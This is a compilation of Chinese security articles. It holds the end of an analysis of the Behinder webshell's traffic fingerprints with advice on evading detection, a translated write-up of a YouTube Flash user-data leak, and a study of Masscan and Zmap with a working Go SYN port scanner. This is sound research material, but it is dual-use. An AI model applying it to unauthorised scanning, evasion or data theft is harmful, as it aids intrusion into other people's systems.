2.user-Agent 。我看了源码中
冰蝎子中默认定义的agent头，查阅后并未发现敏感特殊字样，都为正常ua头。如果实在担心可以修改默认的ua头。
Accept&Cache-Control，文章中说如果不自行定义则会使用默认的
Accept: text/html, image/gif, image/jpeg, _; q=.2,_ /*; q=.2
Cache-Control: no-cache
Pragma: no-cache
User-Agent: java/1.8
这很正常，大多数请求都不会自己定义。
综上所述，以上几种特征都属于强行找特征。如果有必要，建议只修改ua头即可。
## 总结
看完整个代码之后的感觉就是，冰蝎作者的开发功底可以，其中用到多种设计模式，方法的抽离性比较强。每个方法都放到了该放的位置，但是数据库设计的个人认为有很多冗余字段存在于host和shell表中。
最后提一嘴，
除流量特征以外的内存特征session 中的key为u算不算一个呀，这个作为内存马检测算不算很有力。 | 社区文章 |
# 【漏洞分析】对Youtube中高级Flash漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：opnsec.com
原文地址：<https://opnsec.com/2017/08/advanced-flash-vulnerabilities-in-youtube/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
Flash至今仍是一个活跃的威胁来源。在2017年，我分别向Facebook、Youtube、WordPress、Yahoo、Paypal以及Stripe提交了Flash漏洞。在过去的3年中，我向漏洞奖励项目提交了超过50个Flash漏洞，获得了超过80k美元的奖励。由于精力有限，还有很多漏洞我来不及提交，也有些漏洞在我提交后还没有被修复。
与此同时，Flash已经被新推出的 **javascript/html5** 所取代。这些功能引入了新的更为复杂的漏洞，比如错误的CORS实现方法、通过
**postMessage** 或 **XHR** 请求触发DOM
XSS、主动混淆的数据内容等等。我们可以从Flash漏洞中汲取教训，以实现更加安全的javascript应用程序。新推出的Youtube html5
Api看上去更像是Youtube Flash Api移植到javascript上的实现版本，因此是一个非常理想的研究对象。实际上，利用我在Flash
Api中积累的经验，我的确在Youtube html5 Api中找到了多个XSS漏洞。
在本文中，我会介绍我在Youtube Flash
Api中找到的一些高级Flash漏洞，同时我也会顺便提到html/javascript安全性方面的内容。这些内容的技术细节比较多，所以如果有什么意见或者建议可以随时通过Twitter联系我（[@opnsec](https://twitter.com/opnsec)）。你也可以访问[此链接](http://www.senocular.com/flash/tutorials/contentdomains/)以了解Flash安全模型的详细信息。
**二、逆向分析Youtube Flash Api**
****
开发者可以利用Youtube Flash Api在外部网站中插入Youtube视频。
Api的工作流程如下图所示：
作为入口点，Youtube Wrapper其实是一个Flash文件，文件的具体路径为 **youtube.com/v/[VIDEO_ID]**
，该文件其实是HTML页面以及Main App（主应用）之间的一个封装器。
主应用（Main Application）是一个大型Flash文件，大约有100k行代码，地址位于 **s.ytimg.com** 这个沙箱域名中。
Modules（模块）用来处理可选功能，比如字幕或者广告功能。这些模块不是独立的Flash文件，只能由Main App来加载。
此外，还有一个Flash转Javascript的Api，html页面可以通过这个Api向Youtube
Api发送命令，这些命令包括play()、pause()等等。Flash文件也会执行ajax风格（ajax
style）的跨站请求，以加载配置文件以及视频数据。
**三、用户信息泄露漏洞**
****
首先，我们先来分析一个简单的漏洞。如下这段Flash ActionScript3（AS3）代码是一段简化版的Youtube Wrapper实现代码：
这段代码会实时生成Youtube
Wrapper，其中“username”属性包含Google用户的用户名（如果用户已连接到Google），“userpicture”包含用户个人资料图片的具体链接。在这个漏洞中，攻击者可以窃取这些属性的值。
开发者可以从自己的Flash文件（我们可以称之为Evil Wrapper）中加载Youtube
Wrapper。在这种情况下，这两种Wrapper都会在另一个Flash安全沙箱中执行。
**备注：**
在Flash中加载外部Flash文件有点类似于在html中加载一个<iframe>。如果iframe的来源与其父节点不同，由于同源策略（Same-Origin Policy，SOP），这两者无法访问彼此的属性。
Youtube
Wrapper中包含[Security.allowDomain("*")](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/Security.html#allowDomain\(\))这样的代码，以便宿主网页中的javascript能够向Flash应用发送诸如play()、pause()等命令。这也意味着Evil
Wrapper可以访问Youtube Wrapper的任何公开属性，因为这两者处于同一个安全沙箱中。然而，Evil Wrapper无法访问私有属性。
由于user_name属性为私有属性，因此Evil Wrapper无法访问它。
此外，Flash还提供了一个Api以便Loader（加载者）与被加载文件之间能够通过[loaderInfo.sharedEvents](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/LoaderInfo.html#sharedEvents)相互通信。Youtube
Wrapper使用这个api来与Main App进行通信。当Main App将一个事件（event）发送给sharedEvents Api时，Youtube
Wrapper会收到这个事件，然后利用event.data这个属性来返回用户信息。不仅Loader以及被加载文件能够访问
**loaderInfo.sharedEvents** ，只要引用了这个loaderInfo对象，其他任何Flash文件都可以访问
**loaderInfo.sharedEvents** 。
**备注：**
这种情况类似于javascript的 **postMessage**
Api，这个Api同样可以允许跨域iframe之间的通信交流。不仅iframe及其父窗口可以访问[postMessage
Api](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)，只要使用
**window.open** 以及 **window.frames** ，任何域名都可以访问这些引用，这种情况不受SOP限制。
如果Evil Loader可以访问这个loaderInfo对象，那么它就可以向Youtube Wrapper发送事件，窃取用户信息。
由于loaderInfo是appLoader的一个属性，而appLoader是Youtube Wrapper的一个私有属性，因此Evil
Wrapper无法访问这个属性。
然而，当使用Loader时，如果我们想要显示已加载的文件，就必须将其添加为Display Container的子节点。通常情况下，我们会使用
**this.addChild(this.loader)** 来完成这个任务，这也正是Youtube Wrapper采用的方法。
问题在于，Youtube
Wrapper还有一个内置的公共方法，名为[getChildAt()](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/DisplayObjectContainer.html#getChildAt\(\))，这个方法可以返回Youtube
Wrapper的子节点。这意味着Evil Wrapper可以调用 **YoutubeWrapper.getChildAt(0)**
，这样就可以返回Loader对象，绕过Loader属性的隐私限制策略。
**备注：**
**将属性设为“私有（private）”是一种[封装方法](https://en.wikipedia.org/wiki/Encapsulation_\(computer_programming\))。然而，这种情况下，只有引用本身是私有的，引用所指向的那个对象并不是私有对象。**
这样一来，Evil Wrapper就可以访问
**YoutubeWrapper.getChildAt(0).loaderInfo.sharedEvents** ，而这正是Youtube
Wrapper以及Main App之间的接口。Evil Wrapper可以往Youtube Wrapper发送事件，Youtube
Wrapper会在event.data属性中提供用户信息，因此Evil Wrapper就可以从event.data中读取用户信息。
**3.1 PoC代码**
Evil Wrapper代码如下所示：
**3.2 PoC工作流程**
PoC代码的工作流程如下图所示：
**3.3 攻击场景**
攻击的前提是，受害者的Google处于 **已登录** 状态，并且受害者 **已安装Flash player** 。
攻击场景如下：
（1）受害者访问攻击者的网站（evil.com/evil.html），这个网站包含一个恶意的Flash对象（evil.com/evil.swf）。
（2）evil.swf加载Youtube
wrapper（https://www.youtube.com/v/[VIDEO_ID]），获取用户的Google用户名（4-5-6），然后evil.com就可以得知访问该站点的用户名。此外，由于个人资料的图片链接具有唯一特征，因此攻击者有可能识别出用户的Google账户。
**3.4 影响范围**
如果网站用户已登录Google，那么任何网站都可以使用这种方法来提取网站访问用户的身份。想象一下，如果我们随机访问一个网站，然后这个网站竟然会显示我们的姓名和照片，惊不惊喜？意不意外？
**3.5 缓解措施**
为了解决这个问题，Youtube Wrapper已经停止往event.data属性中写入用户信息，现在会将用户信息直接发往Main
App。这样处理后，即使Evil Wrapper往Youtube Wrapper发送消息，它也不会收到用户信息，因为相关信息会直接发送到Main App。
**3.6 时间线**
08/27/2015 – 向Google VRP提交漏洞
09/09/2015 – 漏洞被修复，获得奖励（1星，满分4星）。
**四、总结**
****
这是一个简单的漏洞，希望你能通过这个漏洞理解基本的原理。你可以进一步阅读[第二篇文章](https://opnsec.com/2017/08/advanced-flash-vulnerabilities-in-youtube-part-2/)，在那篇文章中，我们利用另一个漏洞实现了在youtube.com上执行任意Flash代码。 | 社区文章 |
**作者：w7ay@知道创宇404实验室**
**日期：2019年10月12日**
Zmap和Masscan都是号称能够快速扫描互联网的扫描器，十一因为无聊，看了下它们的代码实现，发现它们能够快速扫描，原理其实很简单，就是实现两种程序，一个发送程序，一个抓包程序，让发送和接收分隔开从而实现了速度的提升。但是它们识别的准确率还是比较低的，所以就想了解下为什么准确率这么低以及应该如何改善。
## Masscan源码分析
首先是看的[Masscan](https://github.com/robertdavidgraham/Masscan)的源码，在readme上有它的一些设计思想，它指引我们看`main.c`中的入口函数`main()`，以及发送函数和接收函数`transmit_thread()`和`receive_thread()`，还有一些简单的原理解读。
### 理论上的6分钟扫描全网
在后面自己写扫描器的过程中，对Masscan的扫描速度产生怀疑，目前Masscan是号称6分钟扫描全网，以每秒1000万的发包速度。
但是255^4/10000000/60 ≈ 7.047 ？？？
之后了解到，默认模式下Masscan使用`pcap`发送和接收数据包，它在Windows和Mac上只有30万/秒的发包速度，而Linux可以达到150万/秒，如果安装了PF_RING
DNA设备，它会提升到1000万/秒的发包速度（这些前提是硬件设备以及带宽跟得上）。
注意，这只是按照扫描 **一个** 端口的计算。
PF_RING DNA设备了解地址：<http://www.ntop.org/products/pf_ring/>
#### 那为什么Zmap要45分钟扫完呢？
在Zmap的[主页](https://github.com/Zmap/Zmap)上说明了
用PF_RING驱动，可以在5分钟扫描全网，而默认模式才是45分钟，Masscan的默认模式计算一下也是45分钟左右才扫描完，这就是宣传的差距吗 （-
### 历史记录
观察了readme的历史记录
<https://github.githistory.xyz/robertdavidgraham/Masscan/blob/master/README.md>
之前构建时会提醒安装`libpcap-dev`，但是后面没有了，从releases上看，是将静态编译的`libpcap`改为了动态加载。
### C10K问题
c10k也叫做client 10k，就是一个客户端在硬件性能足够条件下如何处理超过1w的连接请求。Masscan把它叫做C10M问题。
Masscan的解决方法是不通过系统内核调用函数，而是直接调用相关驱动。
主要通过下面三种方式：
* 定制的网络驱动
* Masscan可以直接使用PF_RING DNA的驱动程序，该驱动程序可以直接从用户模式向网络驱动程序发送数据包而不经过系统内核。
* 内置tcp堆栈
* 直接从tcp连接中读取响应连接，只要内存足够，就能轻松支持1000万并发的TCP连接。但这也意味着我们要手动来实现tcp协议。
* 不使用互斥锁
* 锁的概念是用户态的，需要经过CPU，降低了效率，Masscan使用`rings`来进行一些需要同步的操作。与之对比一下Zmap，很多地方都用到了锁。
* 为什么要使用锁？
* 一个网卡只用开启一个接收线程和一个发送线程，这两个线程是不需要共享变量的。但是如果有多个网卡，Masscan就会开启多个接收线程和多个发送线程，这时候的一些操作，如打印到终端，输出到文件就需要锁来防止冲突。
* 多线程输出到文件
* Masscan的做法是每个线程将内容输出到不同文件，最后再集合起来。在`src/output.c`中，
### 随机化地址扫描
在读取地址后，如果进行顺序扫描，伪代码如下
for (i = 0; i < range; i++) {
scan(i);
}
但是考虑到有的网段可能对扫描进行检测从而封掉整个网段，顺序扫描效率是较低的，所以需要将地址进行随机的打乱，用算法描述就是设计一个`打乱数组的算法`，Masscan是设计了一个加密算法，伪代码如下
range = ip_count * port_count;
for (i = 0; i < range; i++) {
x = encrypt(i);
ip = pick(addresses, x / port_count);
port = pick(ports, x % port_count);
scan(ip, port);
}
随机种子就是`i`的值，这种加密算法能够建立一种一一对应的映射关系，即在[1...range]的区间内通过`i`来生成[1...range]内不重复的随机数。同时如果中断了扫描，只需要记住`i`的值就能重新启动，在分布式上也可以根据`i`来进行。
* 如果对这个加密算法感兴趣可以看 [Ciphers with Arbitrary Finite Domains](https://web.cs.ucdavis.edu/~rogaway/papers/subset.pdf) 这篇论文。
### 无状态扫描的原理
回顾一下tcp协议中三次握手的前两次
1. 客户端在向服务器第一次握手时，会组建一个数据包，设置syn标志位，同时生成一个数字填充seq序号字段。
2. 服务端收到数据包，检测到了标志位的syn标志，知道这是客户端发来的建立连接的请求包，服务端会回复一个数据包，同时设置syn和ack标志位，服务器随机生成一个数字填充到seq字段。并将客户端发送的seq数据包+1填充到ack确认号上。
在收到syn和ack后，我们返回一个rst来结束这个连接，如下图所示
Masscan和Zmap的扫描原理，就是利用了这一步，因为seq是我们可以自定义的，所以在发送数据包时填充一个特定的数字，而在返回包中可以获得相应的响应状态，即是无状态扫描的思路了。
接下来简单看下Masscan中发包以及接收的代码。
#### 发包
在`main.c`中，前面说的随机化地址扫描
接着生成cookie并发送
uint64_t
syn_cookie( unsigned ip_them, unsigned port_them,
unsigned ip_me, unsigned port_me,
uint64_t entropy)
{
unsigned data[4];
uint64_t x[2];
x[0] = entropy;
x[1] = entropy;
data[0] = ip_them;
data[1] = port_them;
data[2] = ip_me;
data[3] = port_me;
return siphash24(data, sizeof(data), x);
}
看名字我们知道，生成cookie的因子有源ip，源端口，目的ip，目的端口，和entropy(随机种子，Masscan初始时自动生成)，siphash24是一种高效快速的哈希函数，常用于网络流量身份验证和针对散列dos攻击的防御。
组装tcp协议`template_set_target()`,部分代码
case Proto_TCP:
px[offset_tcp+ 0] = (unsigned char)(port_me >> 8);
px[offset_tcp+ 1] = (unsigned char)(port_me & 0xFF);
px[offset_tcp+ 2] = (unsigned char)(port_them >> 8);
px[offset_tcp+ 3] = (unsigned char)(port_them & 0xFF);
px[offset_tcp+ 4] = (unsigned char)(seqno >> 24);
px[offset_tcp+ 5] = (unsigned char)(seqno >> 16);
px[offset_tcp+ 6] = (unsigned char)(seqno >> 8);
px[offset_tcp+ 7] = (unsigned char)(seqno >> 0);
xsum += (uint64_t)tmpl->checksum_tcp
+ (uint64_t)ip_me
+ (uint64_t)ip_them
+ (uint64_t)port_me
+ (uint64_t)port_them
+ (uint64_t)seqno;
xsum = (xsum >> 16) + (xsum & 0xFFFF);
xsum = (xsum >> 16) + (xsum & 0xFFFF);
xsum = (xsum >> 16) + (xsum & 0xFFFF);
xsum = ~xsum;
px[offset_tcp+16] = (unsigned char)(xsum >> 8);
px[offset_tcp+17] = (unsigned char)(xsum >> 0);
break;
发包函数
/***************************************************************************
* wrapper for libpcap's sendpacket
*
* PORTABILITY: WINDOWS and PF_RING
* For performance, Windows and PF_RING can queue up multiple packets, then
* transmit them all in a chunk. If we stop and wait for a bit, we need
* to flush the queue to force packets to be transmitted immediately.
***************************************************************************/
int
rawsock_send_packet(
struct Adapter *adapter,
const unsigned char *packet,
unsigned length,
unsigned flush)
{
if (adapter == 0)
return 0;
/* Print --packet-trace if debugging */
if (adapter->is_packet_trace) {
packet_trace(stdout, adapter->pt_start, packet, length, 1);
}
/* PF_RING */
if (adapter->ring) {
int err = PF_RING_ERROR_NO_TX_SLOT_AVAILABLE;
while (err == PF_RING_ERROR_NO_TX_SLOT_AVAILABLE) {
err = PFRING.send(adapter->ring, packet, length, (unsigned char)flush);
}
if (err < 0)
LOG(1, "pfring:xmit: ERROR %d\n", err);
return err;
}
/* WINDOWS PCAP */
if (adapter->sendq) {
int err;
struct pcap_pkthdr hdr;
hdr.len = length;
hdr.caplen = length;
err = PCAP.sendqueue_queue(adapter->sendq, &hdr, packet);
if (err) {
rawsock_flush(adapter);
PCAP.sendqueue_queue(adapter->sendq, &hdr, packet);
}
if (flush) {
rawsock_flush(adapter);
}
return 0;
}
/* LIBPCAP */
if (adapter->pcap)
return PCAP.sendpacket(adapter->pcap, packet, length);
return 0;
}
可以看到它是分三种模式发包的，`PF_RING`,`WinPcap`,`LibPcap`,如果没有装相关驱动的话，默认就是pcap发包。如果想使用PF_RING模式，只需要加入启动参数`--pfring`
#### 接收
在接收线程看到一个关于cpu的代码
大意是锁住这个线程运行的cpu，让发送线程运行在双数cpu上，接收线程运行在单数cpu上。但代码没怎么看懂
接收原始数据包
int rawsock_recv_packet(
struct Adapter *adapter,
unsigned *length,
unsigned *secs,
unsigned *usecs,
const unsigned char **packet)
{
if (adapter->ring) {
/* This is for doing libpfring instead of libpcap */
struct pfring_pkthdr hdr;
int err;
again:
err = PFRING.recv(adapter->ring,
(unsigned char**)packet,
0, /* zero-copy */
&hdr,
0 /* return immediately */
);
if (err == PF_RING_ERROR_NO_PKT_AVAILABLE || hdr.caplen == 0) {
PFRING.poll(adapter->ring, 1);
if (is_tx_done)
return 1;
goto again;
}
if (err)
return 1;
*length = hdr.caplen;
*secs = (unsigned)hdr.ts.tv_sec;
*usecs = (unsigned)hdr.ts.tv_usec;
} else if (adapter->pcap) {
struct pcap_pkthdr hdr;
*packet = PCAP.next(adapter->pcap, &hdr);
if (*packet == NULL) {
if (is_pcap_file) {
//pixie_time_set_offset(10*100000);
is_tx_done = 1;
is_rx_done = 1;
}
return 1;
}
*length = hdr.caplen;
*secs = (unsigned)hdr.ts.tv_sec;
*usecs = (unsigned)hdr.ts.tv_usec;
}
return 0;
}
主要是使用了PFRING和PCAP的api来接收。后面便是一系列的接收后的处理了。在`mian.c`757行
后面还会判断是否为源ip，判断方式不是相等，是判断某个范围。
int is_my_port(const struct Source *src, unsigned port)
{
return src->port.first <= port && port <= src->port.last;
}
接着后面的处理
if (TCP_IS_SYNACK(px, parsed.transport_offset)
|| TCP_IS_RST(px, parsed.transport_offset)) {
// 判断是否是syn+ack或rst标志位
/* 获取状态 */
status = PortStatus_Unknown;
if (TCP_IS_SYNACK(px, parsed.transport_offset))
status = PortStatus_Open; // syn+ack 说明端口开放
if (TCP_IS_RST(px, parsed.transport_offset)) {
status = PortStatus_Closed; // rst 说明端口关闭
}
/* verify: syn-cookies 校验cookie是否正确 */
if (cookie != seqno_me - 1) {
LOG(5, "%u.%u.%u.%u - bad cookie: ackno=0x%08x expected=0x%08x\n",
(ip_them>>24)&0xff, (ip_them>>16)&0xff,
(ip_them>>8)&0xff, (ip_them>>0)&0xff,
seqno_me-1, cookie);
continue;
}
/* verify: ignore duplicates 校验是否重复*/
if (dedup_is_duplicate(dedup, ip_them, port_them, ip_me, port_me))
continue;
/* keep statistics on number received 统计接收的数字*/
if (TCP_IS_SYNACK(px, parsed.transport_offset))
(*status_synack_count)++;
/*
* This is where we do the output
* 这是输出状态了
*/
output_report_status(
out,
global_now,
status,
ip_them,
6, /* ip proto = tcp */
port_them,
px[parsed.transport_offset + 13], /* tcp flags */
parsed.ip_ttl,
parsed.mac_src
);
/*
* Send RST so other side isn't left hanging (only doing this in
* complete stateless mode where we aren't tracking banners)
*/
// 发送rst给服务端，防止服务端一直等待。
if (tcpcon == NULL && !Masscan->is_noreset)
tcp_send_RST(
&parms->tmplset->pkts[Proto_TCP],
parms->packet_buffers,
parms->transmit_queue,
ip_them, ip_me,
port_them, port_me,
0, seqno_me);
}
## Zmap源码分析
Zmap官方有一篇[paper](https://Zmap.io/paper.pdf)，讲述了Zmap的原理以及一些实践。上文说到Zmap使用的发包技术和Masscan大同小异，高速模式下都是调用pf_ring的驱动进行，所以对这些就不再叙述了，主要说下其他与Masscan不同的地方，paper中对丢包问题以及扫描时间段有一些研究，简单整理下
1. 发送多个探针：结果表明，发送8个SYN包后，响应主机数量明显趋于平稳
2. 哪些时间更适合扫描
1. 我们观察到一个±3.1%的命中率变化依赖于日间扫描的时间。最高反应率在美国东部时间上午7时左右，最低反应率在美国东部时间下午7时45分左右。
2. 这些影响可能是由于整体网络拥塞和包丢失率的变化，或者由于只间断连接到网络的终端主机的总可用性的日变化模式。在不太正式的测试中，我们没有注意到任何明显的变化
还有一点是Zmap只能扫描单个端口，看了一下代码，这个保存端口变量的作用也只是在最后接收数据包用来判断srcport用，不明白为什么还没有加上多端口的支持。
### 宽带限制
相比于Masscan用`rate=10000`作为限制参数，Zmap用`-B 10M`的方式来限制
我觉得这点很好，因为不是每个使用者都能明白每个参数代表的原理。实现细节
### 发包与解包
Zmap不支持Windows，因为Zmap的发包默认用的是socket，在window下可能不支持tcp的组包(猜测)。相比之下Masscan使用的是pcap发包，在win/linux都有支持的程序。Zmap接收默认使用的是pcap。
在构造tcp包时，附带的状态信息会填入到seq和srcport中
在解包时，先判断返回dstport的数据
再判断返回的ack中的数据
## 用go写端口扫描器
在了解完以上后，我就准备用go写一款类似的扫描器了，希望能解决丢包的问题，顺便学习go。
在上面分析中知道了，Masscan和Zmap都使用了pcap，pfring这些组件来原生发包，值得高兴的是go官方也有原生支持这些的包
<https://github.com/google/gopacket>，而且完美符合我们的要求。
接口没问题，在实现了基础的无状态扫描功能后，接下来就是如何处理丢包的问题。
### 丢包问题
按照tcp协议的原理，我们发送一个数据包给目标机器，端口开放时返回`ack`标记，关闭会返回`rst`标记。
但是通过扫描一台外网的靶机，发现扫描几个端口是没问题的，但是扫描大批量的端口(1-65535)，就可能造成丢包问题。而且不存在的端口不会返回任何数据。
#### 控制速率
刚开始以为是速度太快了，所以先控制下每秒发送的频率。因为发送和接收都是启动了一个goroutine,目标的传入是通过一个channel传入的(go的知识点)。
所以控制速率的伪代码类似这样
rate := 300 // 每秒速度
var data = []int{1, 2, 3, 4, 5, 6，...,65535} // 端口数组
ports := make(chan int, rate)
go func() {
// 每秒将data数据分配到ports
index := 0
for {
OldTimestap := time.Now().UnixNano() / 1e6 // 取毫秒
for i := index; i < index+rate; i++ {
if len(datas) <= index {
break
}
index++
distribution <- data[i]
}
if len(datas) <= index {
break
}
Timestap := time.Now().UnixNano() / 1e6
TimeTick := Timestap - OldTimestap
if TimeTick < 1000 {
time.Sleep(time.Duration(1000-TimeTick) * time.Millisecond)
}
}
fmt.Println("发送完毕..")
}()
### 本地状态表
即使将速度控制到了最小，也存在丢包的问题，后经过一番测试，发现是防火墙的原因。例如常用的`iptables`，其中拒绝的端口不会返回信息。将端口放行后再次扫描，就能正常返回数据包了。
此时遇到的问题是有防火墙策略的主机如何进行准确扫描，一种方法是扫描几个端口后就延时一段时间，但这不符合快速扫描的设想，所以我的想法是维护一个本地的状态表，状态表中能够动态修改每个扫描结果的状态，将那些没有返回包的目标进行重试。
Ps：这是针对一个主机，多端口(1-65535)的扫描策略，如果是多个IP，Masscan的`随机化地址扫描`策略就能发挥作用了。
设想的结构如下
// 本地状态表的数据结构
type ScanData struct {
ip string
port int
time int64 // 发送时间
retry int // 重试次数
status int // 0 未发送 1 已发送 2 已回复 3 已放弃
}
初始数据时`status`为0，当发送数据时，将`status`变更为1，同时记录发送时间`time`,接收数据时通过返回的标记，`dstport`,`seq`等查找到本地状态表相应的数据结构，变更`status`为2，同时启动一个监控程序，监控程序每隔一段时间对所有的状态进行检查，如果发现`stauts`为1并且当前时间-发送时间大于一定值的时候，可以判断这个ip+端口的探测包丢失了，准备重发，将`retry`+1，重新设置发送时间`time`后，将数据传入发送的channel中。
### 概念验证程序
因为只是概念验证程序，而且是自己组包发送，需要使用到本地和网关的mac地址等，这些还没有写自动化程序获取，需要手动填写。mac地址可以手动用wireshark抓包获得。
如果你想使用该程序的话，需要修改全局变量中的这些值
var (
SrcIP string = "10.x.x.x" // 源IP
DstIp string = "188.131.x.x" // 目标IP
device string = "en0" // 网卡名称
SrcMac net.HardwareAddr = net.HardwareAddr{0xf0, 0x18, 0x98, 0x1a, 0x57, 0xe8} // 源mac地址
DstMac net.HardwareAddr = net.HardwareAddr{0x5c, 0xc9, 0x99, 0x33, 0x37, 0x80} // 网关mac地址
)
整个go语言源程序如下，单文件。
package main
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"net"
"sync"
"time"
)
var (
SrcIP string = "10.x.x.x" // 源IP
DstIp string = "188.131.x.x" // 目标IP
device string = "en0" // 网卡名称
SrcMac net.HardwareAddr = net.HardwareAddr{0xf0, 0x18, 0x98, 0x1a, 0x57, 0xe8} // 源mac地址
DstMac net.HardwareAddr = net.HardwareAddr{0x5c, 0xc9, 0x99, 0x33, 0x37, 0x80} // 网关mac地址
)
// 本地状态表的数据结构
type ScanData struct {
ip string
port int
time int64 // 发送时间
retry int // 重试次数
status int // 0 未发送 1 已发送 2 已回复 3 已放弃
}
func recv(datas *[]ScanData, lock *sync.Mutex) {
var (
snapshot_len int32 = 1024
promiscuous bool = false
timeout time.Duration = 30 * time.Second
handle *pcap.Handle
)
handle, _ = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)
// Use the handle as a packet source to process all packets
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
scandata := *datas
for {
packet, err := packetSource.NextPacket()
if err != nil {
continue
}
if IpLayer := packet.Layer(layers.LayerTypeIPv4); IpLayer != nil {
if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil {
tcp, _ := tcpLayer.(*layers.TCP)
ip, _ := IpLayer.(*layers.IPv4)
if tcp.Ack != 111223 {
continue
}
if tcp.SYN && tcp.ACK {
fmt.Println(ip.SrcIP, " port:", int(tcp.SrcPort))
_index := int(tcp.DstPort)
lock.Lock()
scandata[_index].status = 2
lock.Unlock()
} else if tcp.RST {
fmt.Println(ip.SrcIP, " port:", int(tcp.SrcPort), " close")
_index := int(tcp.DstPort)
lock.Lock()
scandata[_index].status = 2
lock.Unlock()
}
}
}
//fmt.Printf("From src port %d to dst port %d\n", tcp.SrcPort, tcp.DstPort)
}
}
func send(index chan int, datas *[]ScanData, lock *sync.Mutex) {
srcip := net.ParseIP(SrcIP).To4()
var (
snapshot_len int32 = 1024
promiscuous bool = false
err error
timeout time.Duration = 30 * time.Second
handle *pcap.Handle
)
handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
scandata := *datas
for {
_index := <-index
lock.Lock()
data := scandata[_index]
port := data.port
scandata[_index].status = 1
dstip := net.ParseIP(data.ip).To4()
lock.Unlock()
eth := &layers.Ethernet{
SrcMAC: SrcMac,
DstMAC: DstMac,
EthernetType: layers.EthernetTypeIPv4,
}
// Our IPv4 header
ip := &layers.IPv4{
Version: 4,
IHL: 5,
TOS: 0,
Length: 0, // FIX
Id: 0,
Flags: layers.IPv4DontFragment,
FragOffset: 0, //16384,
TTL: 64, //64,
Protocol: layers.IPProtocolTCP,
Checksum: 0,
SrcIP: srcip,
DstIP: dstip,
}
// Our TCP header
tcp := &layers.TCP{
SrcPort: layers.TCPPort(_index),
DstPort: layers.TCPPort(port),
Seq: 111222,
Ack: 0,
SYN: true,
Window: 1024,
Checksum: 0,
Urgent: 0,
}
//tcp.DataOffset = 5 // uint8(unsafe.Sizeof(tcp))
_ = tcp.SetNetworkLayerForChecksum(ip)
buf := gopacket.NewSerializeBuffer()
err := gopacket.SerializeLayers(
buf,
gopacket.SerializeOptions{
ComputeChecksums: true, // automatically compute checksums
FixLengths: true,
},
eth, ip, tcp,
)
if err != nil {
log.Fatal(err)
}
//fmt.Println("\n" + hex.EncodeToString(buf.Bytes()))
err = handle.WritePacketData(buf.Bytes())
if err != nil {
fmt.Println(err)
}
}
}
func main() {
version := pcap.Version()
fmt.Println(version)
retry := 8
var datas []ScanData
lock := &sync.Mutex{}
for i := 20; i < 1000; i++ {
temp := ScanData{
port: i,
ip: DstIp,
retry: 0,
status: 0,
time: time.Now().UnixNano() / 1e6,
}
datas = append(datas, temp)
}
fmt.Println("target", DstIp, " count:", len(datas))
rate := 300
distribution := make(chan int, rate)
go func() {
// 每秒将ports数据分配到distribution
index := 0
for {
OldTimestap := time.Now().UnixNano() / 1e6
for i := index; i < index+rate; i++ {
if len(datas) <= index {
break
}
index++
distribution <- i
}
if len(datas) <= index {
break
}
Timestap := time.Now().UnixNano() / 1e6
TimeTick := Timestap - OldTimestap
if TimeTick < 1000 {
time.Sleep(time.Duration(1000-TimeTick) * time.Millisecond)
}
}
fmt.Println("发送完毕..")
}()
go recv(&datas, lock)
go send(distribution, &datas, lock)
// 监控
for {
time.Sleep(time.Second * 1)
count_1 := 0
count_2 := 0
count_3 := 0
var ids []int
lock.Lock()
for index, data := range datas {
if data.status == 1 {
count_1++
if data.retry >= retry {
datas[index].status = 3
continue
}
nowtime := time.Now().UnixNano() / 1e6
if nowtime-data.time >= 1000 {
datas[index].retry += 1
datas[index].time = nowtime
ids = append(ids, index)
//fmt.Println("重发id:", index)
//distribution <- index
}
} else if data.status == 2 {
count_2++
} else if data.status == 3 {
count_3++
}
}
lock.Unlock()
if len(ids) > 0 {
time.Sleep(time.Second)
increase := 0
interval := 60
for _, v := range ids {
distribution <- v
increase++
if increase > 1 && increase%interval == 0 {
time.Sleep(time.Second)
}
}
}
fmt.Println("status=1:", count_1, "status=2:", count_2, "status=3:", count_3)
}
}
运行结果如下
但这个程序并没有解决上述说的防火墙阻断问题，设想很美好，但是在实践的过程中发现这样一个问题。比如扫描一台主机中的1000个端口，第一次扫描后由于有防火墙的策略只检测到了5个端口，剩下995个端口会进行第一次重试，但是重试中依然会遇到防火墙的问题，所以本质上并没有解决这个问题。
### Top端口
这是Masscan源码中一份内置的Top端口表
staticconstunsignedshorttop_tcp_ports[]={
1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,
79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,
139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,
301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,
465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,
587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,
711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,
898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,
1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,
1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,
1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,
1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,
1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,
1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,
1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,
